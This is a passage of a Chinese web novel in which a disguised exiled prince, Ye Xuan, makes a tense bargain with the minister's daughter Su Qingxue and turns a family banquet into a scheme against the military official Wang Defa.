“你叶公子倒是可以一走了之,可柳家为你承担的风险,你考虑过吗?”
一连串的问话,如同一颗颗石子,精准地投入叶玄平静的心湖。
他不得不承认,这个女人看问题,看得极为透彻。
叶玄笑了笑,那笑容却不达眼底。
“苏姑娘说了这么多,无非是想告诉我,你的存在,并非可有可无。”
“正是。”苏轻雪坦然承认。
“那你又能做什么?柳家做不到的事情,你苏轻雪就能做到?”叶玄的语气中,带上了一丝考究的意味。
苏轻雪闻言,非但没有被他的气势所慑,反而笑意更深。
那是一种运筹帷幄的自信。
她缓缓踱步,声音清冷而坚定。
“柳家能做的,是帮你逃出云安城。”
“而我,能帮你走出云安城。”
一字之差,天壤之别。
“王德发封锁城门,全城搜捕,靠的是兵马司的权力。但他终究只是一个副指挥使,云安城,还不是他王家的天下。”
苏轻雪的眸中闪烁着智慧的光芒。
“只要我修书一封,以我父亲的名义递交给云安城知府,你猜,那位知府大人,是会继续听王德发这个武夫的命令,还是会卖我爹一个面子?”
叶玄的瞳孔,骤然一缩。
首辅千金!
这四个字的分量,远比一个地方兵马司副指挥使重得多!
“不仅如此,”苏轻-雪仿佛没有看到叶玄神色的变化,继续说道,“我还可以让王德发,不敢再找柳家的麻烦,甚至……让他亲自将你送出城门,并保证你一路平安。”
叶玄沉默了。
他不得不重新审视眼前的这个女人。
她的智慧,她的手腕,都远远超出了他的预料。
她不仅仅是一个聪明的女人,更是一个懂得如何将自己的优势发挥到极致的掌权者。
看到叶玄沉默,苏轻雪知道,自己的话起作用了。
她心中微微松了口气,但面上依旧不动声色。
然而,她还是低估了叶玄。
只见叶玄脸上的沉思缓缓散去,取而代之的,是一抹玩味的笑容。
“苏姑娘的计划,听起来确实天衣无缝。”
“但你似乎又忘了另一件事。”
叶玄的声音陡然变得低沉,带着一丝危险的气息。
“那就是,你凭什么认为,我会需要你的帮助?”
苏轻雪的眼眸瞬间凝固。
只听叶玄继续说道:“王德发也好,知府也罢,在我眼中,不过是土鸡瓦狗。”
“我若想走,这小小的云安城,无人能拦。”
“我若想杀,他王德发的人头,应该也不是难事。”
“你的那些所谓人脉和手段,于我而言,毫无意义。”
叶-玄的语气很平淡,却透着一股睥睨天下的霸气。
这不是狂妄,而是一种源于绝对实力的自信。
苏轻雪的心,猛地一沉。
她感觉自己精心构建的谈判筹码,正在对方轻描淡写的几句话中,土崩瓦解。
她紧紧攥住了袖中的拳头,指甲深深嵌入掌心。
她知道,自己必须拿出最后的底牌了。
“是吗?”
苏轻雪忽然笑了,笑得有些凄美,也有些决绝。
她抬起头,清冷的目光直视着叶玄,一字一句,清晰无比地说道:
“如果……我将‘八皇子殿下’的消息,告诉太子呢?”
轰!
“八皇子殿下”五个字,如同一道惊雷,在寂静的房间内轰然炸响!
叶玄脸上的笑容,在这一瞬间,彻底消失。
取而代之的,是如万年冰窟般的森寒。
一股恐怖的杀意,如同潮水般从他体内弥漫而出,瞬间笼罩了整个房间。
温度,仿佛都下降了十几度。
苏轻雪只觉得浑身一僵,如坠冰窖,连呼吸都变得困难起来。
她毫不怀疑,眼前这个男人,只要动一动念头,就能瞬间要了她的命。
但她没有退。
她赌的就是叶玄不敢杀她。
或者说,杀了她,对他而言,得不偿失。
“你,在威胁我?”
叶玄的声音,沙哑得如同两块金属在摩擦,每一个字都带着刺骨的寒意。
“不。”苏轻雪强忍着那股几乎要将她压垮的恐惧,艰难地开口,“我只是在陈述一个事实。你和我,现在是同一条船上的人。我需要你带我去北凉,而你需要我,帮你掩盖身份,安然到达北凉。”
“这是一场交易,不是威胁。”
叶玄笑了。
只是这一次的笑容,充满了无尽的冰冷与嘲讽。
“交易?”
他缓缓上前一步。
苏轻雪下意识地想后退,却发现自己的双腿如同灌了铅一般,动弹不得。
叶玄的身影,在她眼中不断放大,那股恐怖的压迫感,几乎让她窒息。
他停在了苏轻雪的面前,两人之间的距离,不足一尺。
他微微俯下身,凑到她的耳边,用只有两个人能听到的声音,轻声说道:
“苏轻雪,你很聪明,但聪明人,往往死得最早。”
温热的气息拂过耳畔,带起的却是让苏轻-雪灵魂都在战栗的寒意。
“你以为,拿捏住了我的身份,就可以为所欲为?”
叶玄的声音带着一丝戏谑。
“那你有没有想过,你自己的命,也同样握在我的手里?”
他缓缓直起身,目光下移,落在了苏轻雪的小腹处。
“你体内的寒疾,已经深入骨髓了吧?”
“京城那么多御医,想必都束手无策。否则,你这堂堂首辅千金,又何必拖到这么久,还没医治呢?”
苏轻雪的脸色,也逐渐开始不好起来
“你……”
“我能治好柳月雪的寒髓症,自然也能治好你的病症。”叶玄打断了她的话,嘴角勾起一抹残忍的弧度,“我甚至可以告诉你,这天下间,除了我,再无人能救你。”
“你的病,拖不了多久了。最多一年,寒气攻心,神仙难救。”
“所以,苏姑娘,你说……”
叶玄再次凑近,两人的脸庞几乎要贴在一起,彼此甚至能清晰地感受到对方的呼吸。
他凝视着她那双因震惊而睁大的美眸,一字一句地说道:
“是你先死,还是我先被太子找到?”
“你,要不要赌一下?”
第32章 你们这是在亲嘴嘴?
叶玄语中的威胁,如同最锋利的尖刀,狠狠刺入了苏轻雪的心脏。
她引以为傲的智慧和家世,在绝对的实力和生死的面前,显得是那么的苍白无力。
她输了。
输得一败涂地。
房间里,死一般的寂静。
两人面对面站着,鼻息可闻,气氛却僵持到了极点。
就在这时——
“叶公子?表姐?你们在里面吗?”
一道清脆悦耳,带着几分欣喜的声音,从门外传来。
紧接着,“吱呀”一声,房门被推开了。
柳月雪端着一盘精致的糕点,兴高采烈地走了进来。
“叶公子,我亲手做了些梅花糕,想请你尝尝……”
她的话音,在看清房内景象的那一刻,戛然而止。
糕点盘子“哐当”一声,掉在了地上,摔得粉碎。
在柳月雪的视角里。
房间里光线昏暗,只有一缕月光。
而就在那月光之下,她敬佩的叶公子,和她崇拜的表姐,正以一种极其亲密的姿势站在一起。
他们的脸,几乎就要贴上了!
那……那不是侍女偷偷带给自己的小人书里,画的……亲嘴嘴的姿势吗?!
轰!
柳月雪的脑袋里,仿佛有无数个烟花同时炸开。
一张俏脸,以肉眼可见的速度,从脸颊红到了耳根,再蔓延到白皙的脖颈。
她的小心脏“扑通扑通”狂跳,几乎要从嗓子眼里蹦出来。
天啊!
我……我看到了什么?
叶公子和表姐他们……他们竟然……
一时间,无数纷乱的念头在她脑海中闪过,让她的大脑彻底宕机,完全不知道该作何反应。
她张了张嘴,想要说点什么,却只能发出一声毫无意义的惊呼。
“呀——!”
这声惊呼,也瞬间惊醒了对峙中的叶玄和苏轻雪。
两人如同触电般,猛地分开。
转头看去,只见柳月雪正站在门口,一张小脸红得像要滴出血来,正用一种见了鬼般的眼神,震惊地看着他们。
哦豁。
完蛋。
叶玄心中闪过这两个字,只觉得一阵头大。
这丫头,显然是误会了什么。
苏轻雪也是一愣,随即反应过来,刚才的姿势有多么暧昧。
饶是她心性再如何清冷,此刻脸上也不由自主地飞起一抹红霞。
“月雪,事情不是你想的那样……”
她刚想开口解释。
然而,柳月雪却像是受了惊的小兔子,猛地用双手捂住了自己的脸,发出一声更尖的叫声。
“我什么都没看见!你们继续!继续!”
说完,她转身就跑,那速度,比见了王德发的兵马时还要快上三分,转眼间就消失在了庭院的拐角处,只留下一地的狼藉和两个面面相觑的人。
房间里,再次陷入了诡异的寂静。
空气中,似乎还残留着少女的惊呼,以及……一丝若有若无的尴尬。
叶玄瞥了一眼地上摔碎的糕点,又看了一眼俏脸绯红,眼神有些躲闪的苏轻雪,率先打破了沉默。
“交易,我应下了。”
他的声音恢复了平淡,仿佛刚才那场惊心动魄的对峙从未发生。
苏轻雪猛地抬头,看向他。
“不过,”叶玄话锋一转,目光重新变得锐利,“你要记住,我们是合作,但主次要分明。我可以带你去北凉,也可以让你死在去北凉的路上。”
“我能救你的命,自然也能随时收回来。”
“懂吗?”
这番话,轻描淡写,却带着不容置疑的命令口吻。
苏轻雪心中一凛,刚才升起的一丝旖旎和尴尬瞬间烟消云散,取而代之的是一股寒意。
她知道,这个男人是在敲打她,让她认清自己的位置。
她深吸一口气,郑重地点了点头。
“我明白。”
“很好。”叶玄满意地点点头。
说完,他不再看苏轻雪,转身开始收拾自己的行李,仿佛只是在吩咐一件微不足道的小事。
苏轻雪看着他从容的背影,心中百感交集。
这个男人,比她想象中还要可怕。
她咬了咬唇,没有再多说一句废话,转身快步离去。
她要去办他交代的事情,也要去……跟自己那个闯了祸的表妹好好解释一下。
……
与此同时,兵马司副指挥使府邸。
灯火通明,气氛却压抑得如同冰窖。
“废物!一群废物!”
书房内,一声怒吼如同惊雷炸响,紧接着便是瓷器碎裂的刺耳声。
身材魁梧,满脸横肉的王德发一脚踹翻了身前的紫檀木桌,桌上的笔墨纸砚和名贵茶具稀里哗啦碎了一地。
几名亲信和下人跪在地上,身体抖得像秋风中的落叶,头埋得低低的,连大气都不敢喘。
“一个下午加一个晚上!整整六个时辰!”
王德发双目赤红,状若疯虎,指着跪在最前面的一个心腹队长破口大骂。
“你们把整个云安城翻了个底朝天,别说抓到那三个狗男女,连他们一根毛都没找到!”
“人呢?!啊?!活生生的人,还能凭空消失了不成?!”
那队长颤抖着回话:“大人……我们已经查遍了全城的客栈,也盘问了所有城门的守卫,都没有任何线索……那三人,就像是……就像是凭空冒出来的一样……”
“凭空冒出来?!”王德发气得一佛出世二佛升天,又一脚踹在旁边的书架上。
“找不到人就算了!老子让你们去请大夫!大夫呢?!我儿的腿还断着呢!你们把大夫也给弄丢了?”
另一个下人哆哆嗦嗦地开口:“回……回大人,城里有名有姓的大夫……都……都不在……”
“不在?”王德发瞪圆了眼睛,“什么叫不在?!”
“他们……他们好像都出城去了,说是……说是去参加什么杏林商讨会,一时半会儿……回不来……”
“放他娘的屁!”王德发怒吼,“早不商讨,晚不商讨,偏偏这个时候商讨?当我王德发是三岁小孩吗?!”
他当然不信这是巧合,这背后分明有人在搞鬼!
可他想不通,谁有这么大的能量,能让全城的大夫同时消失?
“一群饭桶!连个大夫都找不到!”
王德发的怒火无处发泄,胸膛剧烈起伏着,眼中的血丝让他看起来格外狰狞。
他死死盯着脚下这群战战兢兢的下属,声音变得阴冷而残忍。
“我给你们最后一天时间!”
“明天天黑之前,有两条路给你们选。”
他伸出两根粗壮的手指。
“第一,把给我儿治腿的大夫找来,再把三个狗男女给我揪出来!我要亲手剥了他们的皮!”
“第二,”他咧开嘴,露出一口黄牙,笑容森然,“你们所有人的腿,我亲自打断,然后像死狗一样,从这府里扔出去!”
“听明白了没有?!”
“听……听明白了!”
众人魂飞魄散,磕头如捣蒜。
“滚!都给我滚出去想办法!”
王德发一声咆哮,众人如蒙大赦,连滚爬爬地退出了书房。
整个房间,瞬间只剩下王德发一人。
他颓然坐倒在太师椅上,胸口依旧剧烈地起伏着,眼中的暴怒渐渐被一丝焦虑和疲惫所取代。
他再横,也只是个武夫。
儿子的腿,才是他现在的心头肉。
就在这时,一个佝偻的身影悄无声息地走了进来,是跟了他几十年的老管家。
管家手里端着一碗刚熬好的参茶,小心翼翼地放到王德发手边。
第33章 举办宴席
“老爷,消消气,气坏了身子可不值当。”
老管家轻手轻脚地劝慰道。
王德发一把夺过茶碗,像是喝酒一般,仰头一饮而尽,随即“砰”地一声,将厚实的瓷碗狠狠砸在仅存的半张桌面上。
青花瓷碗应声而裂。
“气?老子他妈的肺都要气炸了!”
他咆哮着,胸膛剧烈起伏,像一头被困在笼中的野兽。
老管家深深叹了口气,眼中闪过一丝算计,他犹豫了片刻,才用一种极低的声音说道:“老爷,城里那些养尊处优的大夫找不到,或许……我们可以试试城外的野路子。”
“野路子?”王德发眉头瞬间拧成一个疙瘩,眼神凶狠地望向他。
“是的。”
老管家躬着身子,声音压得更低了,仿佛在分享一个天大的秘密。
“老奴刚刚派人去打探了一圈,听到了一个非常有意思的消息。”
“说。”
王德发的声音里不带一丝感情。
“您还记得柳家的那位千金吗?”
管家循循善诱地问道。
“就是那个得了‘寒髓症’,被全城所有大夫断言必死无疑的柳月雪。”
王德发粗犷的脸上露出一丝思索,随即点了点头:“有点印象,一个快死的病秧子,怎么了?”
管家的眼中,瞬间闪过一道不易察?t的精光。
“就在几天前,柳家突然对外宣称,柳小姐的病……好了。”
“什么?!”
王德发像是被针扎了一样,猛地从太师椅上弹了起来,一张横肉遍布的脸写满了难以置信。
“好了?那不是神仙难救的绝症吗?!”
“千真万确。”
管家无比肯定地说道,语气中带着一丝邀功的意味。
“据说,柳家家主柳承业,不知从何处请来了一位年轻的游方神医。”
“那神医只用了不到半个时辰,就将已经一只脚踏进鬼门关的柳小姐,硬生生给拉了回来!”
“现在,那位柳小姐已经能下床走动,与常人无异了。”
管家补充道:“此事在城中那些富商的圈子里已经传遍了,只是被柳家刻意压着消息,才没有闹得满城风雨。”
“游方神医?!”
王德发的眼睛瞬间爆发出骇人的光亮,那感觉,就像是溺水之人抓住了最后一根救命的稻草。
“他在哪?!快!立刻带人,去把他给老子绑来!”
“老爷息怒!”
管家连忙躬身劝道:“这位神医,如今就在柳府之中,被柳承业奉为座上宾,保护得是里三层外三层。我们若是硬闯柳府抓人,恐怕会彻底惹恼柳家,得不偿失啊。”
“柳家?”
王德发不屑地冷哼一声,脸上满是鄙夷。
“他柳承业再有钱,还能有老子的刀快吗?”
“老爷,”老管家苦口婆心地劝道,“硬来,终究是下策。既然是请人治病,我们何不先礼后兵?柳承业爱女如命,我们以重金求医,姿态放低一些,想必他不会不给这个面子。”
王德发在书房中来回踱步,粗重的呼吸声在寂静的房间里显得格外清晰。
他虽然是个莽夫,却不是个纯粹的傻子。
管家的话,有道理。
现在救儿子的腿是头等大事,节外生枝确实不智。
“好!”
他猛地一拍大腿,像是下定了某种决心。
“备厚礼!天一亮,老子亲自去柳府登门拜访!”
他的眼中,闪烁着狼一般的凶光。
“我倒要看看,是何方神圣,敢在老子这云安城的地盘上装神弄鬼!”
“不管他是谁,只要能治好我儿子的腿,金山银山,老子都给得起!”
“可要是治不好……”
他没有把话说完,但那阴冷到骨子里的语气,已经让整个书房的温度,都仿佛降到了冰点。
……
与此同时,柳府,月雪闺房。
苏轻雪找到柳月雪的时候,这位表妹正托着腮帮子坐在窗前,看着窗外的月亮发呆,小脸上还带着一丝未褪的红晕。
“月雪。”苏轻雪轻声唤道。
“啊!表姐!”
柳月雪像是受惊的兔子,一下子从椅子上跳了起来,看到是苏轻雪,才拍了拍胸口,随即,一双明亮的大眼睛便滴溜溜地转了起来,带着几分狡黠的笑意,凑了上来。
“表姐,你跟叶公子……结束了?”
苏轻雪清冷的脸颊上难得地浮现出一丝不自然,她点了点头:“哎呀,你像什么呢?那只是一个误会!。”
“真的是误会吗?”
柳月雪眨巴着天真无邪的大眼睛,好奇地追问。
“我瞧着……不像呀。”
她拉着苏轻雪的衣袖,将她拽到床边坐下,自己也紧挨着她,小声地,又带着无限向往地问道:“表姐,你老实告诉我……那……那亲嘴嘴,到底是什么感觉呀?”
苏轻雪:“……”
“小人书里画的,都说像是吃了天底下最甜的蜜糖一样,会让人的心都化掉。”
柳月雪一脸认真地求教。
“而且还会心跳加速,脸红耳热,浑身发软……表姐,你刚刚是不是就是那种感觉?”
看着表妹那一脸“我正在进行严肃学术探讨”的表情,苏轻雪只觉得一阵气血翻涌,差点没维持住自己清冷高绝的人设。
她深吸一口气,从牙缝里挤出几个字。
“你看的,都是些什么乱七八糟的书!”
“才不是乱七八糟呢!”柳月雪不服气地嘟了嘟嘴,“那可是我花了好几钱银子,才托小环偷偷买回来的呢!”
苏轻雪扶额,感觉一阵无力。
自己这个表妹,真是被柳家保护得太好了,单纯得像一张白纸。
见到自己一向清冷自持的表姐真的快要被自己问到破防了,柳月雪终于噗嗤一声笑了出来,不再开玩笑了。
她挽住苏轻雪的手臂,将小脑袋靠在她的肩膀上,语气中带上了几分郑重和期待。
“表姐,说正事啦。”
“爹爹说,为了庆祝我大病初愈,也为了正式把我介绍给云安城的各位叔伯,过两天,府里要举办一场宴席,邀请全城有头有脸的人都过来。”
柳月雪的声音低了下去,带着一丝不易察觉的紧张。
“那是我……第一次在那么多人面前正式亮相。”
“我……我有点紧张。”
她抬起头,用一种近乎恳求的目光看着苏轻雪。
“表姐,你是京城第一才女,见过的世面比我多得多。你能不能……能不能留下来陪我?有你在我身边,我心里才踏实。”
苏轻雪闻言,心中一颤。
看着表妹那满是依赖和期盼的眼神,拒绝的话,一时间竟有些说不出口。
她犹豫了。
片刻之后,她才轻轻叹了口气,眼神复杂地说道:“月雪,恐怕……不太方便。”
为了不让柳月雪多想,苏轻雪特地将今天在街上发生的事情,拿来当做借口。
“……那个王德发,是云安城出了名的地头蛇,睚眦必报。他儿子断了腿,他绝对不会善罢甘休的。”
“如今他已经封锁了全城,大肆搜捕。”
“为了不牵连到柳家,我和叶潜渊……已经决定了,今天夜里,就离开云安城。”
柳月雪脸上的笑容,一点一点地凝固了。
那双原本亮晶晶的眸子,也瞬间黯淡了下去,像是被蒙上了一层水雾。
“今晚……就走吗?”
她的声音里,带着浓浓的失落和不舍。
“这么快……”
“对不起,月雪。”苏轻雪心中不忍,只能轻轻拍了拍她的手背。
柳月雪低下头,长长的睫毛微微颤抖着,遮住了眼中的情绪。
房间里,一时间陷入了沉默。
只剩下窗外传来的,若有若无的虫鸣。
第34章 一场请君入瓮的宴席
柳月雪失落地垂下眼帘,长长的睫毛在烛光下投射出一片浅浅的阴影,像两把受伤的蝶翼。
那句“今晚就走”,如同一盆冰水,浇熄了她心中刚刚燃起的全部雀跃和期待。
房间里死一般的寂静。
苏轻雪看着表妹这副模样,心中终究是有些不忍,放缓了声音:“月雪,我和他……身份特殊,不宜久留。”
“王德发在云安城只手遮天,他儿子被打断腿,此事绝不会善罢甘休。”
“我们多留一日,柳家便多一分危险。”
她说的,是实情。
也是她和叶玄之前商议好的,最稳妥的方案。
然而,柳月雪却缓缓抬起头,那双水汽氤氲的眸子里,此刻却带着一丝与她柔弱外表不符的倔强。
“表姐,我不信。”
苏轻雪一怔:“不信什么?”
“我不信叶公子会怕那个王德发。”
柳月雪的声音很轻,但字字清晰。
“我虽久病在床,但叶也绝不是是非不分。他既然敢当街打断王腾的腿,就绝不是一个会因为畏惧报复而连夜逃走的人。”
“他……不是那样的人。”
少女的直觉,有时候敏锐得可怕。
苏轻雪一时间竟不知该如何回应。
柳月雪吸了吸鼻子,强忍着泪意,将话题拉了回来,脸上重新挤出一丝笑容,尽管那笑容比哭还难看。
“不说这个了……爹爹说,后天的宴席,是专门为我办的,也是……为了感谢叶公子的。”
她紧紧抓住苏轻雪的手,像是抓住了最后一根稻草,语气里满是恳求。
“表姐,我知道你们有要事,可……可就再多留两天,好不好?”
“等参加完宴席,等我爹爹当着全城人的面,好好感谢过叶公子的救命之恩,你们再走……”
“到时候,就算那个王德发想找麻烦,也要掂量掂量我们柳家和全城人的看法。”
“求求你了,表姐……”
少女的祈求,让苏轻雪的心彻底乱了。
她无法答应,只能沉默着抽回自己的手,留下一个决绝的背影。
“我……去跟他说。”
……
苏轻雪回到叶玄的院子时,他正坐在石桌旁,悠然自得地喝着茶水。
“谈完了?”
叶玄头也没抬,声音平淡。
“嗯。”苏轻雪在他对面坐下,将刚刚柳月雪的话,以及柳家要举办宴席的事情,原原本本地复述了一遍。
最后,她总结道:“虽然月雪是出于好意,但此事不宜节外生枝。我已经让忠叔去安排了,子时一到,我们就从后门走,出城的路线也已打点妥当。”
这是他们早就定好的计划。
天衣无缝。
然而,叶玄缓缓放下茶杯。
他抬起头,深邃的眸子在夜色中显得格外明亮,嘴角勾起一抹似笑非笑的弧度。
“我改变主意了!”
“改变主意了?”
苏轻雪蹙眉:“王德发全城搜捕,距给我们的时间不多了,我们现在不走,是想等着他带兵来抓人吗?”
“抓人?”
叶玄笑了,那笑容里带着一丝毫不掩饰的轻蔑与嘲弄。
“他还不够资格”
“苏轻雪,你是个聪明人,知道我之前为什么会想要走吗?”
苏轻雪脸色一冷:“因为这法子最稳妥。”
“稳妥?”叶玄嗤笑一声,转过身,目光锐利如刀,“确实没错,但我后面仔细想了想。”
“我们这一走,等于坐实了畏罪潜逃。王德发找不到我们,你猜他会把怒火发泄在谁身上?”
苏轻雪瞳孔微微一缩:“柳家?”
“不然呢?”
叶玄的声音冷了下去。
“柳承业虽然有些家财,但在手握兵权的兵马司副指挥使面前,不过是一只待宰的肥羊。”
“我们接受了柳家的恩惠,转头就把他们推入火坑,这不是我的行事准则!”
“更何况,”叶玄话锋一转,眼中闪过一丝精明的光,“我治好柳月雪‘寒髓症’的消息,已经传了出去。‘神医’这个名头,可是个好东西。”
“一个能起死回生的神医,你觉得,价值几何?”
苏轻雪冰雪聪明,瞬间明白了叶玄的意思。
“你想……借此立威,甚至……敛财?”
“立威?”
叶玄摇了摇头,嘴角那抹弧度愈发玩味。
“不,是杀鸡儆猴。”
他走到苏轻雪面前,居高临下地看着她,声音不大,却带着一种掌控一切的霸道。
“王腾腿不是断了嘛?”
“柳家不是要办宴席吗?”
“正好。”
“我们就将计就计,把这场宴席,办成送他上路的鸿门宴。”
苏轻雪的心脏,猛地一跳。
她被叶玄这个疯狂而大胆的想法给惊到了。
“你疯了?那可是兵马司副指挥使!你想在柳府杀他?这会给柳家招来灭顶之灾!”
“谁说我要在柳府杀他了?”
叶玄淡淡一笑,眼神却冷得像冰。
“杀人,有很多种方法。”
“有时候,诛心,比杀人本身,要有趣得多。”
他看着苏轻雪震惊的眼眸,缓缓说道:“你不是说,你爹是当朝首辅吗?”
“现在,我需要你帮我做一件事。”
“什么事?”
“用你父亲的关系,以最快的速度,将一份密报送到你父亲的案头。”
叶玄的声音压得很低,却充满了不容置疑的力量。
“就说,云安城兵马司副指挥使王德发,纵子行凶,鱼肉乡里,草菅人命,意图谋反。”
苏轻雪倒吸一口凉气!
前面几条,或许还能找到些由头,可这“意图谋反”四个字,是能随便安的罪名吗?
这可是诛九族的大罪!
“证据呢?”她艰难地问道。
“不需要证据。”
叶玄的回答,让她遍体生寒。
“我,就是证据。”
“太子想我死,朝中不知多少人盼着我死在北凉。可如果,我是在去北凉的路上,被一个地方的兵马司副指挥使谋害了呢?”
“你觉得,我那位高高在上的父皇,会怎么想?太子,又会怎么做?”
苏轻雪瞬间遍体生寒,她终于明白了叶玄的全部计划!
这是一个阳谋!
一个将所有人都算计进去的,绝杀之局!
王德发,不过是叶玄用来撬动整个棋局的,第一颗棋子!
他根本不是想逃,也不是想简单的报复。
他要用王德发的命,来向京城里那些想让他死的人,递上第一份战书!
这个男人……好可怕的心计!
“你……”苏轻雪看着眼前这个明明只有二十岁左右,眼神却深邃得如同万丈深渊的男人,第一次感觉到了发自内心的战栗。
叶玄看着她震惊的表情,满意地笑了。
他喜欢和聪明人打交道。
“所以,别准备什么逃跑的马车了。”
他转过身,重新望向夜空中的那轮明月,语气恢复了平淡,仿佛在说一件微不足道的小事。
“去告诉柳月雪,她的请求,我答应了。”
“也告诉柳承业,宴席,照常举办,而且要办得越大越好,把云安城所有有头有脸的人物,全都请来。”
第35章 神医是怎么治病的!
夜风微凉,吹动着院中的竹叶,发出沙沙的声响,却丝毫无法吹散石桌旁那凝如实质的死寂。
苏轻雪整个人都僵住了。
她感觉自己的血液似乎都在这一刻停止了流动,四肢百骸窜起一股难以言喻的寒意。
疯子。
彻头彻尾的疯子!
这是她脑海中唯一的念头。
就算他还是那个高高在上的八皇子,恐怕也不敢说出要在一个地方豪强的府邸,设局诛杀一位手握兵权的兵马司副指挥使吧?
更何况,他现在只是一个被废黜的皇子,一个天下通缉的逃犯!
他凭什么?
他哪里来的胆气,敢如此嚣张,如此无法无天?
苏轻雪第一次,发自内心地开始怀疑,自己选择与叶玄合作,究竟是对是错。
这根本不是在走钢丝。
这是在深渊的边缘,疯狂地试探,甚至主动往里跳!
她看着眼前这个男人,他明明只是平静地站在那里,身上那件普通的青衫在夜色中显得毫不起眼,可他周身散发出的那股掌控一切的霸道与疯狂,却让她感到一阵窒息。
叶玄将苏轻雪的震惊与骇然尽收眼底,嘴角那抹玩味的笑意更深了。
他喜欢看她这副模样。
看这个一向清冷自持、智计过人的天之骄女,为自己的计划而失态。
“怎么?”
叶玄缓缓踱步到她面前,居高临下地看着她,声音平淡得仿佛在问她茶水凉了没有。
“不信我?”
苏轻雪猛地抬起头,那双清冷的凤眸中,此刻写满了挣扎与不解。
她张了张嘴,却发现喉咙干涩得发不出任何声音。
“没关系。”
叶玄似乎完全不在意她的沉默,自顾自地说道。
“信任这种东西,不是靠说的,是靠做的。”
他伸出一根手指,轻轻摇了摇。
“你不需要现在就信我。”
“你只需要等着,看着。”
“不久之后,你就会看到第一份证明。”
“一份……证明我有这个实力,对那个王德发说不的证明。”
他的话语里没有丝毫的火气,却带着一种冰冷的、不容置疑的威压,仿佛在陈述一个既定的事实。
苏轻雪的心跳得更快了。
她强迫自己冷静下来,大脑飞速运转,试图分析叶玄话语中的每一个可能性。
他要做什么?
他有什么底牌?
难道是他在云安城中还有别的布置?
可这怎么可能?他来到这里,明明和自己一样,都是仓皇逃命。
无数个念头在苏轻雪的脑海中闪过,最终却都化为了一片空白。
她发现,自己完全看不透眼前这个男人。
他就像一团深不见底的迷雾,你以为看清了一角,却发现那背后是更深的黑暗与未知。
最终,苏轻雪深吸了一口气,压下心中的惊涛骇浪,从牙缝里挤出几个字。
“我……等着看。”
她保留了自己的意见,也保留了最后的退路。
如果叶玄所谓的“证明”只是虚张声势,那她会毫不犹豫地启动备用计划,哪怕是敲晕他,也要将他带离云安城。
叶玄对她的回答似乎很满意,点了点头,转身留给她一个背影。
“去吧。”
“告诉那个小丫头,她的请求,我应了。”
“让她安心准备宴席。”
……
当苏轻雪将这个消息带回柳月雪的房间时,那张原本写满失落的小脸,瞬间绽放出夺目的光彩。
“真、真的吗?表姐?”
柳月雪激动地从床边站起,一把抓住苏轻雪的手,眼中满是难以置信的惊喜。
“叶公子他……他真的答应留下来了?”
“嗯。”
苏轻雪看着表妹那双清澈见底、不含一丝杂质的眸子,心中五味杂陈,最终只是轻轻点了点头。
“太好了!太好了!”
柳月雪高兴得原地转了个圈,像一只快乐的蝴蝶。
“我就知道!我就知道叶公子不是那种畏惧恶势力的人!他是个顶天立地的大英雄!”
少女的脸上洋溢着纯粹的喜悦和崇拜,那份不加掩饰的信任,让苏轻雪的心头愈发沉重。
她不知道,这场即将到来的宴席,究竟是庆祝新生的盛会,还是一场……埋葬所有人的血色序幕。
这一夜,有人欢喜,有人忧愁,注定无眠。
……
第二天,天色刚蒙蒙亮。
柳承业一夜未睡,眼下两团浓重的青黑,他几乎是掐着时间,在叶玄的院门外来回踱步,脸上写满了焦虑。
终于,院门“吱呀”一声开了。
叶玄一袭青衫,神清气爽地走了出来,仿佛昨夜定下的那个疯狂计划,只是一场无关紧要的梦。
“叶公子!”
柳承业像是看到了救星,三步并作两步迎了上去,脸上挤出一个比哭还难看的笑容,声音压得极低,带着一丝哀求。
“公子,您……您可算起来了!”
“我已经安排好了,城外最隐蔽的渡口,船和信得过的船夫都备下了,足够您和苏小姐神不知鬼不觉地离开云安城!”
他一边说,一边紧张地四下张望,生怕被什么人听了去。
“那个王德发就是个疯子,他现在满城都在搜捕,你们多留一刻,就多一分危险啊!”
“公子,算我柳承业求您了,您快走吧!您对小女的救命之恩,我们柳家来世再报!”
柳承业是真的怕了。
他只是个商人,只想安安稳稳地守着家业和女儿,何曾想过要与手握兵权的兵马司副指挥使为敌?
然而,面对他的焦急和恳求,叶玄的脸上却没有丝毫动容。
他只是淡淡地看着柳承业,平静地问道:“柳家主,我若走了,王德发找不到我,会如何?”
柳承业一愣,随即脸色煞白。
是啊,叶玄走了,王德发找不到正主,那滔天的怒火,会烧向谁?
毫无疑问,是他们柳家!
是收留了“凶手”的柳家!
“这……”柳承业嘴唇哆嗦着,说不出话来。
叶玄轻轻拍了拍他的肩膀,语气依旧平淡,却带着一股安抚人心的力量。
“我叶玄受了柳家的恩惠,断没有将祸水引向恩人家中,自己拍拍屁股走人的道理。”
“这种事,我做不出来。”
一句话,让柳承业瞬间百感交集,眼眶都有些泛红。
他没想到,在这生死关头,这位叶公子首先想到的,竟然是他们柳家的安危。
可感动归感动,现实的恐惧却丝毫未减。
“可是……公子,那王德发他……”
“无妨。”
叶玄打断了他,嘴角勾起一抹意味深长的弧度。
“他不会对我们怎么样的。”
“什么?”
柳承业怀疑自己听错了。
王德发会来求他?求这个打断他儿子腿的仇人?
这怎么可能!
叶玄没有再解释,只是抬头看了一眼天色,缓缓说道。
“柳家主,你现在要做的,不是安排我逃走。”
“而是去准备一场,有史以来最盛大的宴席。”
“把请柬发出去,遍邀云安城所有有头有脸的人物。”
“记住,要越大越好,越轰动越好。”
“我要让所有人都看看……”
叶玄的声音顿了顿,深邃的眸子里闪过一丝冰冷的寒芒。
“神医,是怎么治病的。”
第36章 你敢动我?
神医,是怎么治病的。
这句平淡却又带着无尽寒意的话,如同一柄无形的重锤,狠狠砸在柳承业的心上。
他整个人都懵了。
呆呆地看着叶玄,嘴巴张了又合,合了又张,却一个字也说不出来。
盛大的宴席?
遍邀云安城所有有头有脸的人物?
还要越大越好,越轰动越好?
这位叶公子,是真的疯了吗!
王德发的屠刀都已经悬在柳家的脖子上了,这个时候不夹着尾巴做人,悄悄逃命,反而要敲锣打鼓,唯恐天下不知?
这不是嫌自己,嫌整个柳家,死得不够快吗!
柳承业的脸色由煞白转为酱紫,额头上青筋一根根暴起,那是极度的恐惧与不解交织而成的神情。
他想跪下来抱着叶玄的大腿,求他收回这个能让柳家万劫不复的念头。
可当他的目光,触及叶玄那双深不见底的眼眸时,所有的话都堵死在了喉咙里。
“去办吧。”
叶玄没有再给他任何辩驳的机会,转身走回院中,只留下一个决绝的背影。
“柳家主,记住,恐惧,解决不了任何问题。”
“有时候,你越是退缩,别人就越是得寸进尺。”
